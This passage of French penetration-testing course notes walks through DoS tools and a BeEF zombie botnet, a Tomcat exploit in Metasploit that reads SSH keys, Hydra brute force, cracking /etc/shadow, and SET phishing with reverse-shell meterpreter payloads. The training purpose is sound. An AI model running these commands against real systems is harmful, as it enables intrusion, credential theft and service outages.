$ python2 ftp_fuzz.py AdresseIpDuServeurCesarFTP NumeroPortFTP Interval Maximum

# Eléments à renseigner
$ username : anonymoous
$ password : n’importe quoi
$ FTP command to fuzz : MKD

Résultat : On peut donc s’apercevoir que le script nous permet d’identifier une vulnérabilité de type
Buffer OverFlow sur le logiciel CesarFTP 0.99g

7.3 Les techniques du DoS

7.3.1 Outils

❖ Métasploit
❖ Nmap NSE
❖ Exploit database
❖ Scapy : la référence
❖ Low Orbit Icon Cannon : Utilisé par Anonymous
❖ THC SSL DOS : DOS application web
❖ Slowloris : Peut faire tomber un serveur sans réaliser de DDOS
❖ …
21/11/2019

21
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

7.3.2 Les catégories de DOS / DDOS

Abus de session : Lors de la négociation en utilisant le protocole SSL


Attaques basées sur le volume : UDP Flood, ICMP Flood
Attaques basées sur les protocoles : Smurf, Syn Flood
Attaques basées sur la couche applicative : Buffer OverFlow

7.3.3 Exploitation des outils

➢ THC SSL DOS

# Lancement de la commande (l’option --accept est obligatoire pour valider la commande)


$ thc-ssl-dos AdresseIPDeLaCible NuméroDuPort --accept

➢ SCAPY

# Lancement de la commande
$ scapy

# Envoi d’un nombre important (> 10000 par exemple) de paquet mal formé (ttl=0) qui va créer la
# confusion pour le serveur cible et provoquer un DoS
$send(IP(dst="AdresseIPDeLaCible",ttl=0)/TCP(),iface="NomDeLInterfaceReseauUtilisée",count=N
ombredepaquetEnvoyé)
21/11/2019

22
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN :

Liste des options pour créer des paquets erronés qui provoqueront, si leur nombre sont élevés, des
DoS
21/11/2019

23
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ SLOWLORIS.PL

Ce script lance des connexions HTTP (entêtes) à intervalles réguliers pour maintenir les connexions
TCP empêchant les autres connexions http (de client par exemple) de se connecter et arrivant à
terme à un Dénis de Service.

# Lancement du script
$ ./slowloris.pl -dns AdresseWebDeLaCible

➢ LOIC

Il s'agit d'un script, utilisé par Anonymous, pour provoquer des DoS de façon très user-friendly.
Téléchargeable ici : https://github.com/NewEraCracker/LOIC/

Pré-requis :

Sur une base de Debian 9 :

$ apt install apt-transport-https dirmngr gnupg ca-certificates


$ apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys
3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
$ echo "deb https://download.mono-project.com/repo/debian stable-stretch
main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list
$ apt update
$ apt install mono-devel git

# Source : https://www.mono-project.com/download/stable/#download-lin-
debian

# Installation du script
21/11/2019

$ git clone https://github.com/NewEraCracker/LOIC.git


$ ./loic-net4.5.sh install

24
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement du script
$ ./loic-net4.5.sh run

1. Indiquez l'URL de la cible

2. Ajuster les options au besoin

3. Lancer le DoS

➢ SIEGE
Outil utilisé par les pentesters pour établir des "stress tests" et tester ainsi la disponibilité d'une
application ou d'un site web.

# Lancement du script
$ siege AdresseDuSiteWeb

7.4 Les botnets

7.4.1 Introduction

RAPPEL :
Une machine zombie, souvent infecté à l'origine par une ver ou cheval de Troie, est un ordinateur
contrôlé à l'insu de son utilisateur par un cybercriminel, le plus souvent à des fins malveillantes. Il
permet, par exemple, d'attaquer (surtout par DDos) d'autres machines en dissimulant sa véritable
identité.
21/11/2019

25
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

7.4.2 Création d'un réseau de machine zombie avec BeFF

# Ajout de la persistance pour l'infection des cibles.


# Pour cela ajouter "autorun: true" au fichier
$ nano /usr/share/beef-xss/modules/persistence/confirm_close_tab/config.yaml

# Ajout de l'adresse de la cible à attaquer au fichier suivant


$ nano /usr/share/beef-xss/modules/network/DOSer/config.yaml

Pour terminer, à l'aide de BeFF, il faut générer un lien contaminé qu'il faudra partager avec de
futures machines zombie qui procèderont à un Ddos de la cible indiquée dans le fichier de
21/11/2019

configuration.

26
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8. Attaques Serveur-Side

8.1 Les recherches de vulnérabilités

8.1.1 Liste des outils

RAPPEL :

Un serveur est un système fournissant des services à des utilisateurs : SMB, FTP, IIS, …

❖ Skipfish

Ce programme permet de lister des fichiers / dossiers considérés comme "intéressant" et pouvant
mener à des vulnérabilités.

# Lancement du programme
# l'option -o correspond au dossier du rapport généré par skipfish : ici /root/desktop/RapportSkipfish
# L'option -S indique le dictionnaire utilisé (par défaut situé dans /usr/share/skipfish/dictionaries/)
# Le dernier argument est l'adresse de l'hôte à scanner : ici http://www.alphorm.com
$ skipfish -o /root/Desktop/RapportSkipfish -S /usr/share/skipfish/dictionaries/minimal.wl
http://www.alphorm.com

21/11/2019

27
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois le scan terminé, aller dans le dossier du


rapport généré par skipfish et lancer le fichier
index.html qui vous permettra peut-être de trouver
des vulnérabilités.

❖ Dirbuster (Owasp)

Tout omme skipfish, Dirbuster permet de lister des fichiers / dossiers considérés comme
"intéressant" et pouvant mener à des vulnérabilités.

# Lancement du programme
$ dirbuster

Il ne nous reste qu'à compléter l'URL de la cible, le chemin du dictionnaire listant les principaux
répertoires à utiliser (les dictionnaires, par défaut, sont présents dans
/usr/share/dirbuster/wordlists/) et au besoin les options complémentaires.

Une fois le programme lancé, il n'y a plus qu'à observer les résultats.
21/11/2019

28
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Webslayer

Ce programme, utilisable sous Windows uniquement, permet lui aussi de lister des informations
vulnérables : dossiers, fichiers, … Il utilise l'attaque fuzzing.

Commençons par renseigner l'URL du site cible suivi de la commande FUZZ (exemple :
https://www.alphorm.com/FUZZ).
Nous attaquerons avec une attaque au dictionnaire (Payload type : Dictionary).
Les dictionnaires par défaut sont situés à l'emplacement suivant : C:\Program Files\Edge-
Security\WebSlayer-Beta\wordlist
Pour notre exemple, nous choisissons "Html encoder" dans la partie "Encoding FUZZ"
21/11/2019

29
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, le programme lancé, il ne nous reste qu'à regarder, si les informations trouvées sont
intéressantes pour la suite de notre exploitation.

❖ Nmap

# Récupérer le numéro de version des services présent sur la cible


$ nmap -sV AdresseIPDeLaCible

ALLER PLUS LOIN :

Allez sur le site www.exploit-db.com dans la barre de recherche et indiquer le nom et la


version du service pour trouver un exploit à utiliser

Utiliser metasploit pour rechercher dans sa base de données un exploit correspondant au


service trouvé

❖ Nessus

Lorsque Nessus est installé sur votre machine, vous n'avez qu'à choisir la cible à scanner en y
adaptant les options souhaitées, pour avoir un rapport détaillé des vulnérabilités présentes et bien
plus encore (solutions, CVE, backdoor, …)
21/11/2019

30
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8.2 L'exploitation des vulnérabilités

INFO :

Il est conseillé d'essayer d'exploiter la cible ayant le plus de valeur.

# Lancement de la commande NMAP


# L'option -sS permet la connexion avec la requête SYN uniquement (fermé par un RST)
# L'option -sV analyse les bannières applicatives des programmes
# L'option -O retourne la version de l'OS utilisée
# L'option -n indique de ne pas réaliser de résolution DNS
# L'option -f permet de by-passer quelques contrôles au sein de la machine cible (pare-feu)
$ nmap -sS -sV -O -n -f AdresseIpDeLaCible

21/11/2019

31
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, le service à attaquer trouver (ici tomcat), il ne nous reste plus quand lancer metasploit pour
rechercher des vulnérabilités à exploiter (ici tomcat_mgr_deploy) en favorisant le "Rank" Excellent
qui nous donnera le plus de droit.

# lance la commande pour utiliser l'exploit


$ use exploit/multi/http/tomcat_mgr_deploy

# affiche les options de l'exploit. L'option est obligatoire quand Required = Yes
$ show options

Pour notre cas, il nous faut connaitre les valeurs HttpPassword et HttpUsername pour aller plus loin.
Pour cela, nous allons utiliser une autre vulnérabilité de la liste précédente :
auxiliary/admin/http/tomcat_administration

# Nous renseignons les options obligatoires : l'adresse de la cible : RHOSTS et nous augmentons le
nom de threads pour accélérer l'exploit : THREADS.
$ set RHOSTS AdresseIPDeLaCible
$ set THREADS NombreDeThreads
21/11/2019

# Une fois terminée, nous pouvons vérifier que les options ont bien les bonnes valeurs
$ show options

32
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de l'exploit pour récupérer les informations


$ exploit

Nous connaissons donc maintenant le HttpUsername (tomcat) et le HttpPassword (tomcat) du


service.
Revenons donc à notre vulnérabilité "use exploit/multi/http/tomcat_mgr_deploy" et complètons les
options demandées.

# Définition de l'option HttpPassword


$ set HttpPassword tomcat

# Définition de l'option HttpUsername


$ set HttpUsername tomcat

# Définition de l'option rhost


$ set rhost AdresseIPDelaCible

# Définition de l'option rport (valeur dans le résultat de la commande nmap)


21/11/2019

$ set rport NuméroDuPortUtiliséParLeService

# Lancement de l'exploit qui nous permet d'ouvrir une session distante


$ exploit
33
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour continuer notre exploitation, nous allons ouvrir un shell et rechercher des dossiers/fichiers
"sensibles".

# Lancement d'un shell sous metasploit (meterpreter > n'est pas à taper)
$ meterpreter > shell

# Connaitre l'utilisateur courant


$ whoami

# Affichez les clés autorisées par le service SSH


$ cat /root/.ssh/authorized_keys

En possession de cette clé, nous allons "bruteforcer" l'accès à l'aide d'un exploit :
https://www.exploit-db.com/exploits/5720
# Téléchargement de l'exploit
$ wget https://www.exploit-db.com/download/5720

# Renommage du fichier en script.py


$ mv 5720 script.py
21/11/2019

# Téléchargements des RSA SSH 2048 x86


$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-
sploits/5622.tar.bz2
34
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Décompression du fichier.tar.bz2
$ tar xvf 5622.tar.bz2

# Récupérez la clé SSH (résultat de notre dernier exploit) de notre cible (partie surlignée uniquement)

# Génération du fichier.pub
$ grep -lr CléSSHRécupérée CheminContenantLesFichiersRSA.pub

# Pour terminer, test de la connexion en SSH à notre cible avec la clé RSA (fichier sans le .pub)
$ ssh -i Chemin/NomDeLaCléRSA root@AdresseIPDeLaCible

8.3 Le brute force

8.3.1 Introduction

L'attaque par force brute est une méthode utilisée en cryptanalyse pour trouver un mot de passe ou
une clé. Il s'agit de tester, une à une, toutes les combinaisons possibles.
Cette méthode est, en général, considérée comme la plus simple concevable. Elle permet de casser
tout mot de passe en un temps fini, indépendamment de la protection utilisée, mais le temps
augmente avec la longueur du mot de passe.
Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc-en-ciel pour
trouver le secret plus rapidement.
21/11/2019

35
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8.3.2 L'outil HYDRA

Hydra est un outil développé par The Hacker's Choice [THC]. Il utilise des attaques brute-force ou
dictionnaires sur différents protocoles. C'est un outil très puissant, très rapide et très utilisé. Il
supporte le SSL et les méthodes : POST & GET. Attention aux faux positifs, il est important de
toujours revérifier à la main.

Liste des protocoles supportés par HYDRA

# Brute force sur notre cible via le protocole SSH


# L'option -l permet de spécifier un ou une liste d'utilisateur (login)
# L'option -x permet la génération de mot de passe pour le brute-forcing
# Détail de la commande -x [NombreDeCaractèreMini]:[ NombreDeCaractèreMaxi] : a(contenant des
# minuscules) A(MAJUSCULE) 1(Chiffre) %(caractères spéciaux)
# L'option -V permet d'afficher à l'écran les mots de passe utilisés
$ hydra -V -l NomDeLUtilisateur -x 1:9:aA1 AdresseIPDeLaCible ProtocoleABruteForcer

NDLR :

Ceci est un exemple et prendrait un temps important avant de trouver le mot de passe.

Il est possible d'utiliser une liste de username et de password. Dans notre test nous allons créer deux
fichier "username" et "password" contenant une liste aléatoire de login et mot de passe respective.

Maintenant nous allons lancer l'outil HYDRA avec en paramètre ces deux fichiers.
21/11/2019

36
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement d'hydra avec notre liste "username" et "password" sur le service FTP de notre cible
# L'option -L attend le nom du fichier listant les logins à tester
# L'option -P attend le nom du fichier listant les mots de passe à tester
$ hydra -V -L FichierContenantLesLogins -P FichierContenantLesPasswords AdresseIPDeLaSource
NomDuServiceAAttaquer

Une fois le couple login/password trouvé, il ne reste plus qu'à se connecter au service sur la cible

Continuons l'attaque par brute force, mais sur un formulaire web.


Pour cela commençons, rendons-nous dans la partie "Brute Force" sur le site vulnérable à l'adresse
suivante : http://AdresseIPDeLaCibleMetasploitable2/dvwa/ [ login / password par défaut : admin /
password]

Ouvrez un bloc note et notez les informations suivantes :

L'intitulé de l'erreur

Dans le code source de la page web, recherche le paragraphe "form" et copier le.
21/11/2019

37
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L'URL de la page

Pour continuer notre recherche d'information, nous allons utiliser le logiciel "burpsuite" que nous
allons lancer via la commande burpsuite dans un terminal. Ne pas oublier d'activer le proxy du
navigateur pour pouvoir intercepter les requêtes.

Dans le formulaire sur notre cible, indiquer le login / password de votre choix et valider. La requête
est interceptée par burpsuite.

Nous allons compléter notre liste en récupérant les informations suivantes :

La partie GET

L'adresse IP de notre cible

Le cookie

NDLR :

Pour l'exemple, nous allons utiliser les mêmes fichiers "username" et "password" que
21/11/2019

précédemment.

38
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de la commande hydra


$ hydra AdresseIPDeLaSource -V -L FichierContenantLesLogins -P FichierContenantLesPasswords
http-get-form "CheminDuGET:username=^USER^&password=^PASS^&Login=Login:F-
incorrect:H=cookie:PHPSESSID=NuméroDuCookie;security=high"

Une fois la commande terminée, on peut s'apercevoir que le mot de passe a été trouvé.

POUR DE VRAI :

Cette partie n'a pas fonctionné pour moi, hydra m'indiquait qu'une trentaine de login/password
étaient valides alors que le seul couple fonctionnant était admin/password.
Je n'ai pas trouvé l'origine du problème. De plus si vous avez un souci quelconque, essayez de mettre
la sécurité du site (DVWA Security) sur "LOW" et modifiez la dernière commande en conséquence
(security=low)

ALLER PLUS LOIN :

Il existe des options supplémentaires permettant d'échapper au protection anti brute-force.

8.4 Le cracking de mot de passe

8.4.1 Introduction

Les mots de passe sont le principal mode d'authentification. L'outil de référence dans le domaine est
John The Ripper, rapide et facilement configurable, il peut vous permettre, lors d'une bonne
utilisation, un gain de temps important.
21/11/2019

John the ripper est un cracker de mots de passe en local disponible sous de nombreuses plateformes
(Linux, Windows, Mac OS etc.) et capable de casser de nombreux chiffrements : DES, BSDI, MD5,
SHA-256, SHA-512, bcrypt, LM Windows...
39
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour utiliser John the ripper, il suffit simplement de lui fournir un fichier contenant les hashes des
mots de passe à tester et de le laisser travailler. Il est aussi possible de forcer John à utiliser une
wordlist spécifique et de définir à quel format de hash il doit s’attaquer.

8.4.2 John The Ripper

Nous allons commencer par attaquer le système Linux et plus particulièrement le fichier contenant
les mots de passe système.

# Création d'un dossier pour notre exemple


$ mkdir /root/CrackageBaseLinux

# Nous allons copier les fichiers contenant les informations d'authentification de notre système KALI
$ cp /etc/passwd /root/CrackageBaseLinux
$ cp /etc/shadow /root/CrackageBaseLinux

# Fusion des deux fichiers en un seul avec la commande "unshadow"


$ unshadow /root/CrackageBaseLinux/passwd /root/CrackageBaseLinux/shadow >
/root/CrackageBaseLinux/passwords

# Lancement du cracking de notre fichier "passwords"


$ john passwords

NDLR :

Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking

Intéressons-nous maintenant au cracking de hash de type LM. Pour cela, rendez-vous sur le site :
https://www.tobtu.com/lmntlm.php où nous allons générer des mots de passes et leurs hashes (ici il
n'y a que LM Hashes qui nous intéresse) que nous allons stockés dans un deuxième temps dans un
21/11/2019

fichier sur notre machine KALI.

40
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# copie des hashes LM dans le fichier "LM"


$ nano lm

# Affiche la liste des HASH utilisable avec John


$ john --list=formats

# Cracking de nos hashes contenus dans notre fichier "LM"


$ john –format=LM NotreFichierContenantNosHashesLM

NDLR :

Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking
21/11/2019

La commande john –show NomDuFichierContenantLesHashLM permet de visualiser de nouveau les


résultats obtenus

41
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN :

Il est possible de faire la même chose mais avec comme référence une wordlist.
$ john --wordlist=NomDeLaWordlist NomDuFichierContenantLesHashesLM

9. Attaques Client-Side

9.1 Le Social Engineering Toolkit [SET] : mode avancé

RAPPEL :

Pour lancer l'outil SET, rendez-vous dans le menu Kali -> 08 – Outils Exploitation -> social engineering
toolkit.

NDLR : Pensez à mettre à jour SET (4 - Update the Social-Engineer Toolkit) pour bénéficier des
dernières optimisations.
Pour nos prochains exemples, les lignes surlignées correspondent aux choix effectués

Nous allons nous intéresser maintenant au menu : 2) Website Attack Vectors

Cette partie est divisée en plusieurs sous-menus :

Java Applet Attack Method


La méthode Java Applet Attack usurpe un certificat Java et délivre un payload basé sur
metasploit.

# Choix du type de site à utiliser (Utiliser un modèle / Cloner un site / Importer)

# Utilisez vous un NAT / Port Forwarding

# Indiquez l'adresse IP de votre poste attaquant (KALI)


21/11/2019

# Génération d'un certificat de façon automatique

42
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lorsqu'un POST est lancé pour la récupération d'information, vous aurez besoin d'un site pour le
rediriger. Nous choisissons ici, Google, qui est l'option la plus rapide.

# Choisissez le payload que vous voulez générer

# Modifiez le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)

# Sélectionnez la méthode pour délivrer l'injection de Shellcode

Maintenant démarrons metasploit (commande msfconsole) et lancons notre exploit.

# Chargement de l'exploit exploit/multi/handler


$ use exploit/multi/handler

# Choix du payload "reverse_tcp"


$ set PAYLOAD windows/meterpreter/reverse_tcp

# Indiquez l'adresse de notre attaquant KALI (où notre SET est en écoute)
$ set LHOST AdresseIPDeLAttaquantKALI

# Indiquez le numéro de port utilisé


$ set LPORT 443

# Désactivez l'option "EnableStageEncoding" (Utiliser un contexte transitoire lors de l'encodage des


payloads)
$ set EnableStageEncoding false

# désactivez l'option " ExitOnSession". De cette façon, vous serez toujours en mode d'écoute même si
la connexion entre l'attaquant et la cible est fermée
21/11/2019

$ set ExitOnSession false

# Lancement de l'exploit
$ exploit -j
43
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous pouvons maintenant essayer de nous connecter à partir d'un poste client sur l'adresse
http://AdresseIpDeLAttaquantKALI pour visualiser la page modèle de "Google' et ainsi vérifier que
notre exploit a été un succès.

Metasploit Browser Exploit Method

La méthode Metasploit Browser Exploit utilise des exploits de navigateur Metasploit


sélectionnés à travers un iframe et délivre un payload Metasploit.

Pour aller plus vite, voici la liste des commandes à utiliser :

# Nous choisissons cette fois ci la méthode d'attaque : Metasploit Browser Exploit Method
2) Metasploit Browser Exploit Method

# Nous choisissons de passer par un modèle de site Web


1) Web Templates

# Utilisez vous un NAT


Are you using NAT/Port Forword : NO

# Indiquez l'adresse IP de l'attaquant


IP address or hostname for the reverse connection : AdresseIPDeLAttaquantKALI

# Choisissez un modèle de site à cloner


3. Twitter

# Tests avec tous les exploits possibles


46) Metasploit Browser Autopwn (USE AT OWN RISK!)

# Choisissiez le payload à utiliser


2) Windows Reverse_TCP Meterpreter
21/11/2019

# Choisissiez le port à utiliser, ici on restera sur le port par défaut


Port to use for the reverse [443] : 443

44
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancez metasploit dans un autre terminal


$ msfconsole

# Voici la sucession de commande à valider pour lancer les exploits


use auxiliary/server/browser_autopwn
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.184.129
set LPORT 443
set URIPATH /
set SRVPORT 8080
set ExitOnSession false
exploit -j

A partir de ce moment, l'adresse d'attaque à communiquer à la cible va s'affichée :

NDLR :

Il est possible de savoir si une session a été activée pendant l'exécution des exploits avec la
commande : sessions
21/11/2019

45
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Credential Harvester Attack Method

La méthode Credential Harvester utilise le clonage d'un site Web ayant un champ nom
d'utilisateur et mot de passe et recueillera toutes les informations affichées sur le site.

Tabnabbing Attack Method

La méthode TabNabbing attendra qu'un utilisateur se déplace vers un autre onglet, puis
rafraîchira la page vers quelque chose de différent.

Web Jacking Attack Method

Cette méthode utilise les remplacements d'iframe pour rendre le lien URL en surbrillance
légitime, mais lorsqu'on clique sur une fenêtre, celle-ci apparaît et est remplacée par le lien
malveillant. Vous pouvez modifier les paramètres de remplacement de lien dans set_config si
cela est trop lent ou trop rapide.

Multi-Attack Web Method

La méthode Multi-Attack permet d'ajouter une combinaison d'attaques via le menu


d'attaque Web. Par exemple, vous pouvez utiliser l'applet Java, Metasploit Browser,
Credential Harvester/Tabnabbing tout à la fois pour voir lequel réussi.

# Choix du type de site à utiliser (Cloner un site)

NDLR :

Il n'est pas possible d'utiliser l'option "Web Templates" avec la méthode "Multi-Attack Web".

# Utilisez-vous un NAT / Port Forwarding

# Indiquez l'adresse IP de votre poste attaquant (KALI)

# Indiquez l'adresse du site à cloner


21/11/2019

46
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Sélectionnez le type d'attaque à utiliser, ici nous choisirons l'option 6 qui nous permettra de les
utiliser toutes

# Sélectionner le type de connexion que vous souhaitez utiliser

# Modifier le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)

# Sélectionner le payload que vous souhaitez livré par injection de shellcode

# Génération d'un certificat de façon automatique

# Choix de l'exploit exécuté coté navigateur, ici nous choisirons de l'autopwn (tous les exploits)

# Lancer metasploit dans un autre terminal


$ msfconsole
21/11/2019

47
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Voici la sucession de commande à valider pour lancer les exploits


use auxiliary/server/browser_autopwn
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.184.129
set LPORT 443
set URIPATH /
set SRVPORT 8080
set ExitOnSession false
exploit -j

A partir de ce moment, l'adresse d'attaque à communiquer à la cible va s'affichée :

Full Screen Attack Method

Permet de récupérer les informations de la cible en exploitant des failles XSS

HTA Attack Method

La méthode HTA Attack vous permettra de cloner un site et d'effectuer l'injection de


powershell à travers des fichiers HTA qui peuvent être utilisés pour l'exploitation de
powershell sous Windows via le navigateur.
21/11/2019

48
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous pouvons revenir au menu principal qui est coupé comme suit :

Spear-Phishing Attack Vectors

La méthode du phishing est une attaque d'usurpation d'adresse électronique qui cible une
organisation ou une personne en particulier, cherchant à accéder sans autorisation à des
renseignements de nature délicate.

Website Attack Vectors

Cette méthode permet d'injecter des exploits à travers un navigateur. Elle est souvent mise en place
au travers de sites clonés et modifiés

Infectious Media Generator

Cette attaque va nous permettre de créer un fichier autorun.inf et un payload. Lorsque le support
amovible (clé USB / CD / DVD) sera inséré, cela lancera automatiquement le payload.

# Nous pouvons choisir un format spécifique ou un exécutable directement généré par metasploit

Exemple d'injection :

# Choisissiez l'adresse IP de l'hôte


21/11/2019

49
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime

ALLER PLUS LOIN :

Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer
notre payload.

Create a Payload and Listerner

A l'aide de ce menu, nous allons créer un payload que nous pourrons distribuer à notre cible.

Exemple d'injection :
21/11/2019

# Choisissiez l'adresse IP de l'hôte

50
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime

Mass Mailer Attack

Attaque permettant l'envoi massif de mail vers une ou plusieurs adresses mails.

Arduino-Based Attack Vector

L'attaque "Arduino-Based" utilise le dispositif Arduino pour programmer l'appareil. Vous pouvez
utiliser les Teensyt qui ont un stockage embarqué et peuvent permettre l'exécution de code à
distance sur système physique. Comme les périphériques sont enregistrés comme clavier USB, il
contournera toute protection d'exécution automatique désactivée sur le système.

Wireless Access Point Attack Vector

Une méthode d'attaque qui permet de répliquer un réseau sans fil. Lorsqu'une cible le rejoint, il
dirige son navigateur vers un site malveillant. Cette fonctionnalité utilise une combinaison d'outils
qui incluent AirBase-ng et DNS Spoof.

QRCode Generator Attack Vector

Le vecteur d'attaque QRCode créera un QRCode pour vous avec une URL malveillante qu'il ne restera
plus qu'à diffuser.

Powershell Attack Vectors

Génération d'attaque au niveau de powershell

Exemple d'injection :

# Choisissiez l'adresse IP de l'hôte


21/11/2019

51
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime

ALLER PLUS LOIN :

Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer
notre payload.

Third Party Modules

Méthode utilisant des modules tiers : Google Analytics ou encore ceux que vous avez crées

9.2 Le cracking de mot de passe utilisateurs

9.2.1 Introduction

Par définition, le cracking de mot de passe est le fait de trouver les mots de passe à partir de données
stockées ou transmises par un ordinateur.
Un mot de passe est utilisé pour sécuriser différents types de systèmes (Linux, Windows ou encore
des applications …).
Notre objectif est de réduire le nombre de possibilités pour nous permettre de gagner du temps.

INFO :
21/11/2019

La méthode la plus facile pour permettre la récupération du mot de passe est le Social Engineering.

52
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.2.2 Les méthodes de cracking

Il existe plusieurs méthodes pour découvrir un mot de passe :

• Le deviner à l'aide du Social Engineering dont la technique du "Shoulder surfing" qui


permet de regarder le mot de passe lorsque la cible le tape tout seulement sur son clavier.
• L'attaque par dictionnaire
• L'attaque par brute-force
• L'attaque hybride qui est un regroupement des 3 méthodes ci-dessus

9.2.3 Le stockage de mots de passe

Les mots de passe sont stockés d’une façon cryptée.


Le hashing est une fonction particulière qui, à partir d'une donnée fournie en entrée, calcule une
empreinte numérique servant à identifier rapidement la donnée initiale, au même titre qu'une
signature pour identifier une personne. Les fonctions de hachage sont utilisées en informatique et en
cryptographie notamment pour reconnaître rapidement des fichiers ou des mots de passe.

9.2.4 Les Rainbow Tables

Une rainbow table (littéralement table arc-en-ciel) est, en cryptanalyse, une structure de données
créée en 2003 par Philippe Oechslin de l'EPFL permettant de retrouver un mot de passe à partir de
son empreinte. Il s'agit d'une amélioration des compromis temps-mémoire proposés par Martin
Hellman dans les années 1980.

Les tables arc-en-ciel essayent de concilier taille de fichier et temps de calcul de façon raisonnable.
On dit que l’on réduit l’empreinte.

La seule chose que l’on demande à cette fonction de réduction c’est d’être cohérente, c’est-à-dire de
21/11/2019

toujours retourner le même mot de passe quand on lui donne la même empreinte en paramètre.

53
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour stocker 100 millions de mots de passe il suffit donc, par exemple, de générer une Rainbow table
contenant 100000 lignes avec des chaines de longueur 1000. On stocke donc dans un fichier de 2 Mo
une table qui pèserait 2 Go dans le cas d’un simple dictionnaire.

Les fonctions de réduction provoquent des collisions. Une collision survient quand la fonction de
réduction retourne le même mot de passe pour deux empreintes différentes. Cela arrive forcément
car il y a toujours plus d’empreintes possibles que de mots de passe possibles.

Une attaque par Rainbow table se déroule en 2 étapes :

▪ Génération d'une table


▪ Calculer à partir d’une empreinte, un mot de passe.

On part d’un mot de passe → on calcule son empreinte → on calcule un nouveau mot de passe à
partir de l’empreinte → on calcule l’empreinte de ce mot de passe → on répète l’opération un
certain nombre de fois. Ensuite on stocke dans la table le mot de passe initial et l’empreinte finale.

• À partir d'une empreinte ("9d4e1e23"), on calcule la dernière réduction utilisée dans la table
et on regarde si le mot de passe apparaît dans la dernière colonne de la table (étape 1)

• Si le test échoue ("swdv" n'apparaît pas dans la table), on passe au point 2 où l'on calcule une
21/11/2019

chaîne avec les deux dernières réductions (étape 2).

54
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

• Si ce test échoue à nouveau, on recommence avec 3 réductions, 4 réductions, etc. jusqu'à


trouver une occurrence du mot de passe dans la table. Si aucune chaîne ne correspond alors
l'attaque échoue.

